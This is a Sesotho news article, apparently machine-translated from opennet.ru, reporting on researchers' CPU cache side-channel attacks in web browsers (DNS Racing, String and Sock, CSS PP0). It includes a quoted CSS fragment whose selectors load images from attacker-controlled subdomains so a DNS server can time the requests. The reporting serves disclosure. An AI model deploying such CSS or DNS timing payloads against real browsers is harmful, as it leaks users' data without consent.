Tlhaselo ea "cache" ea CPU e kentsoe sebatling sa marang-rang ntle le JavaScript

Sehlopha sa bafuputsi ba tsoang liunivesithing tse 'maloa tsa Amerika, Israel le Australia li thehile litlhaselo tse tharo tse sebetsang ho libatli tsa marang-rang ho ntša tlhahisoleseling mabapi le litaba tsa cache ea processor. Mokhoa o mong o sebetsa ho libatli ntle le JavaScript, 'me tse ling tse peli li feta mekhoa e teng ea ts'ireletso khahlano le litlhaselo tse lehlakoreng, ho kenyelletsa le tse sebelisoang ho sebatli sa Tor le DeterFox. Khoutu ea ho bonts'a litlhaselo, hammoho le likarolo tsa seva tse hlokahalang bakeng sa litlhaselo, li hatisoa ho GitHub.

Ho sekaseka litaba tsa cache, litlhaselo tsohle li sebelisa mokhoa oa Prime + Probe, o kenyelletsang ho tlatsa cache ka sete e tloaelehileng ea boleng le ho bona liphetoho ka ho lekanya nako ea phihlello ho tsona ha u li tlatsa hape. Ho qoba mekhoa ea ts'ireletso e teng ho li-browser tse sitisang tekanyo e nepahetseng ea nako, likhethong tse peli, boipiletso bo etsoa ho seva sa DNS kapa WebSocket se laoloang ke mohlaseli, se bolokang tlaleho ea nako ea likopo tse amoheloang. Ka mokhoa o le mong, nako e tsitsitseng ea karabelo ea DNS e sebelisoa e le sesupo sa nako.

Litekanyo tse entsoeng ho sebelisoa li-server tsa kantle tsa DNS kapa tsa WebSocket, ho sebelisoa sistimi ea likarolo tse ipapisitseng le thuto ea mochini, li ne li lekane ho bolela esale pele boleng ka ho nepahala ho fihla ho 98% maemong a nepahetseng ka ho fetesisa (karolelano ea 80-90%). Mekhoa ea tlhaselo e 'nile ea lekoa ho li-platform tse fapaneng tsa hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos)' me e ipakile e le ea bokahohle.

Tlhaselo ea "cache" ea CPU e kentsoe sebatling sa marang-rang ntle le JavaScript

Phapang ea pele ea tlhaselo ea DNS Racing e sebelisa ts'ebetsong ea khale ea mokhoa oa Prime+Probe o sebelisa lihlopha tsa JavaScript. Liphapang li itšetlehile ka tšebeliso ea nako e ka ntle ea DNS-based le sesebelisoa sa onerror, se hlahisoang ha ho etsoa boiteko ba ho kenya setšoantšo ho tsoa sebakeng se seng teng. Sebali sa nako sa kantle se lumella tlhaselo ea Prime+Probe ho libatli tse fokotsang kapa tse thibelang ka botlalo phihlello ea nako ea JavaScript.

Bakeng sa seva sa DNS se fumanehang marang-rang a tšoanang a Ethernet, ho nepahala ha nako ho hakanngoa hore e ka ba 2 ms, e lekaneng ho etsa tlhaselo ea lehlakoreng le leng (ha ho bapisoa, ho nepahala ha nako e tloaelehileng ea JavaScript ho Tor Browser e fokotsehile ho isa ho 100 ms). Bakeng sa tlhaselo, taolo holim'a seva sa DNS ha e hlokehe, kaha nako ea ts'ebetso ea ts'ebetso e khethiloe e le hore nako ea karabelo e tsoang ho DNS e sebetse e le pontšo ea ho phethoa pele ho cheke (ho itšetlehile ka hore na mohlokomeli oa onerror o qalile joang. pejana kapa hamorao, ho etsoa qeto mabapi le lebelo la ts'ebetso ea cheke le cache) .

Mokhoa oa bobeli oa tlhaselo, "String and Sock", o ikemiselitse ho feta mekhoa ea ts'ireletso e thibelang tšebeliso e tlase ea li-arrays ho JavaScript. Sebakeng sa li-arrays, String le Sock li sebelisa ts'ebetso ka likhoele tse kholo haholo, boholo ba tsona bo khethoa e le hore phapang e koahele cache eohle ea LLC (Cache ea boemo ba ho qetela). Ka mor'a moo, ho sebelisoa indexOf () ts'ebetso, ho phenyekolloa mohala o monyenyane oa khoele, oo qalong o leng sieo mohloling oa mohloli, ke hore. ts'ebetso ea ho batla e fella ka ho pheta-pheta mohala kaofela. Kaha boholo ba mohala bo lumellana le boholo ba cache ea LLC, ho hlahloba ho u lumella ho etsa ts'ebetso ea ho hlahloba cache ntle le ho laola lihlopha. Ho lekanya ho lieha, ho e-na le DNS, mohala o etsoa ho seva sa WebSocket se laoloang ke mohlaseli - pele le ka mor'a hore ts'ebetso ea ho batla e phethoe, lipotso li romelloa moleng, ho itšetlehile ka hore na seva se bala ho lieha ho sebelisoa ho hlahloba cache. dikahare.

Phapang ea boraro ea tlhaselo ea "CSS PP0" e kengoa ts'ebetsong ka HTML le CSS, 'me e ka sebetsa ho libatli tse nang le JavaScript e koetsoeng. Mokhoa o tšoana le "String and Sock", empa ha o tlameletsoe ho JavaScript. Nakong ea tlhaselo, ho hlahisoa sete ea bakhethoa ba CSS ba batlang ka mask. Khoele e kholo ea pele e tlatsang cache e behiloe ka ho theha div tag e nang le lebitso le leholo haholo la sehlopha. Ka hare ho na le sehlopha sa li-div tse ling tse nang le li-identifiers tsa tsona. E 'ngoe le e 'ngoe ea li-div tsena e nang le sehlaha e na le setaele sa eona se nang le sekhetho se batlang mohala o tlase. Ha sebatli se fana ka leqephe, sebatli se leka pele ho sebetsana le li-divs tse ka hare, e leng se fellang ka ts'ebetso ea ho batla moleng o moholo. Patlo e etsoa ho sebelisoa mask a sieo ka boomo 'me e lebisa ho pheta-pheta moleng oohle, ka mor'a moo boemo ba "che" bo qala' me ho etsoa boiteko ba ho kenya setšoantšo se ka morao se bontšang libaka tse sa tloaelehang: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Li-subdomain li fanoa ke li-server tsa DNS tsa mohlaseli, tse ka lekanyang tieho ea ho amohela likopo. Seva ea DNS e fana ka NXDOMAIN bakeng sa likopo tsohle mme e boloka tlaleho ea nako e nepahetseng ea likopo. Ka lebaka la ho sebetsana le sehlopha sa li-divs, seva sa DNS sa mohlaseli se fumana letoto la likopo, tieho e amanang le sephetho sa ho hlahloba likahare tsa cache.

Tlhaselo ea "cache" ea CPU e kentsoe sebatling sa marang-rang ntle le JavaScript


Source: opennet.ru

Eketsa ka tlhaloso